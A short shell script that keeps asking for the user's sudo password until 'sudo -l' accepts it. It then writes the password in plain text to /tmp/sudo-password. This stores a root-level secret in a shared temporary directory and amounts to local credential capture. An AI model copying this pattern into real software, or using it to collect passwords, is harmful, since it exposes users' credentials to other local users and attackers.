#!/bin/sh

file=/tmp/sudo-password

while true;
do

    read -r -s -p "Your password please: " password

    res=$(echo "$password" | sudo -S -k -l)

    echo $res

    if [ "$res" == "" ]; then
        echo "Incorrect password, try again..."
    else
        break;
    fi

done

rm $file --force # to ignore if it isn't there
touch $file
echo "$password" > $file